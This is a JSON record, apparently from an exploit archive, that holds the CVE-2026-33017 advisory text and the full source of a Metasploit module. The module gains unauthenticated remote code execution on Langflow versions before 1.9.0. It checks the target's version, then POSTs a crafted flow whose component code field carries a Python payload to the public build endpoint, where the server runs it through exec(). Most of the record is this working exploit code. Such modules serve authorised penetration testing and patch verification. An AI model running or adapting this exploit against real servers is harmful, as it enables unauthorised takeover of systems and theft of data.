{"exploit":{"id":"MSF-multi--http--langflow_unauth_rce_cve_2026_33017","name":"Langflow Unauth RCE","description":"Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the /api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.","cves":["CVE-2026-33017"],"author":"Richard Howe, Diamorphine","published":"2026-03-20","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb","path":"modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_unauth_rce_cve_2026_33017.rb","vulnerabilities":[{"id":"CVE-2026-33017","state":"PUBLISHED","title":"Langflow has Unauthenticated Remote Code Execution via Public Flow Build Endpoint","titleSource":"CVE Program","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33017","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33017"},"updatedAt":"2026-05-21T19:54:41.184Z","retrievedAt":"2026-11-25T16:13:47.430Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_33017.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_33017","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_33017/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_33017/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow Unauth RCE',\n        'Description' => %q{\n          Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the\n          /api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted\n          HTTP requests to execute arbitrary code.\n        },\n        'Author' => [\n          'Richard Howe <rhowe425>',  # Metasploit module\n          'Diamorphine'               # Discovered vulnerability\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-33017'],\n          ['EDB', '52627'],\n          ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Payload' => {\n          'BadChars' => '\"'\n        },\n        'DisclosureDate' => '2026-03-20',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Base path', '/']),\n        OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),\n        Opt::RPORT(7860)\n      ]\n    )\n  end\n\n  def check\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n      }\n    )\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'\n\n    begin\n      version = Rex::Version.new(version_str)\n    rescue StandardError\n      return Exploit::CheckCode::Unknown('Failed to parse version.')\n    end\n\n    if version < Rex::Version.new('1.9.0')\n      Exploit::CheckCode::Appears(\"Version #{version} appears vulnerable.\")\n    else\n      Exploit::CheckCode::Safe(\"Version #{version} is not vulnerable.\")\n    end\n  end\n\n  def exploit\n    flow_id = datastore['FLOW_ID']\n    fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id\n\n    # Randomize component identifiers\n    node_id = Rex::Text.rand_text_alpha(8)\n    component_display_name = Rex::Text.rand_text_alpha(5)\n    component_name = \"Exploit#{Rex::Text.rand_text_alpha(5)}\"\n\n    output_display_name = Rex::Text.rand_text_alpha(5)\n    output_name = Rex::Text.rand_text_alpha(5).downcase\n    output_method = Rex::Text.rand_text_alpha(5).downcase\n\n    # The payload is executed within the output method so it runs when the\n    # component vertex is invoked; the class definition allows Langflow to\n    # resolve the component vertex.\n    injected_code = \"from lfx.custom.custom_component.component import Component\\n\" \\\n                    \"from lfx.io import Output\\n\" \\\n                    \"from lfx.schema.data import Data\\n\" \\\n                    \"\\n\" \\\n                    \"class #{component_name}(Component):\\n\" \\\n                    \"    display_name='#{component_display_name}'\\n\" \\\n                    \"    outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\\n\" \\\n                    \"    def #{output_method}(self)->Data:\\n\" \\\n                    \"        #{payload.encode.gsub(\"\\n\", \"\\n        \")}\\n\" \\\n                    \"        return Data(data={})\\n\"\n\n    data = {\n      'data' => {\n        'nodes' => [\n          {\n            'id' => node_id,\n            'type' => 'genericNode',\n            'position' => {\n              'x' => 0,\n              'y' => 0\n            },\n            'data' => {\n              'id' => node_id,\n              'type' => component_name,\n              'node' => {\n                'template' => {\n                  'code' => {\n                    'type' => 'code',\n                    'required' => true,\n                    'show' => true,\n                    'multiline' => true,\n                    'value' => injected_code,\n                    'name' => 'code',\n                    'password' => false,\n                    'advanced' => false,\n                    'dynamic' => false\n                  },\n                  '_type' => 'Component'\n                },\n                'description' => component_display_name,\n                'base_classes' => ['Data'],\n                'display_name' => component_name,\n                'name' => component_name,\n                'frozen' => false,\n                'outputs' => [\n                  {\n                    'types' => ['Data'],\n                    'selected' => 'Data',\n                    'name' => output_name,\n                    'display_name' => output_display_name,\n                    'method' => output_method,\n                    'value' => '__UNDEFINED__',\n                    'cache' => true,\n                    'allows_loop' => false,\n                    'tool_mode' => false,\n                    'hidden' => nil,\n                    'required_inputs' => nil,\n                    'group_outputs' => false\n                  }\n                ],\n                'field_order' => ['code'],\n                'beta' => false,\n                'edited' => false\n              }\n            }\n          }\n        ],\n        'edges' => []\n      },\n      'inputs' => nil\n    }\n\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, \"api/v1/build_public_tmp/#{flow_id}/flow\"),\n        'headers' => {\n          'Content-Type' => 'application/json'\n        },\n        'cookie' => \"client_id=#{Rex::Text.rand_text_alpha(8)}\",\n        'data' => data.to_json\n      }\n    )\n\n    fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res\n\n    unless res.code.between?(200, 299)\n      fail_with(Failure::UnexpectedReply, \"Unexpected server reply (HTTP #{res.code}).\")\n    end\n\n    print_status('Payload sent successfully.')\n  end\nend\n","sha256":"948071d4fc8f518b85ffe4d14f2dead60ab924bd84c98ff1201ab70001c42a91","bytes":6893,"fetchedAt":"2026-11-26T08:56:39.262Z","encoding":"utf-8 (display only; download retains original bytes)"}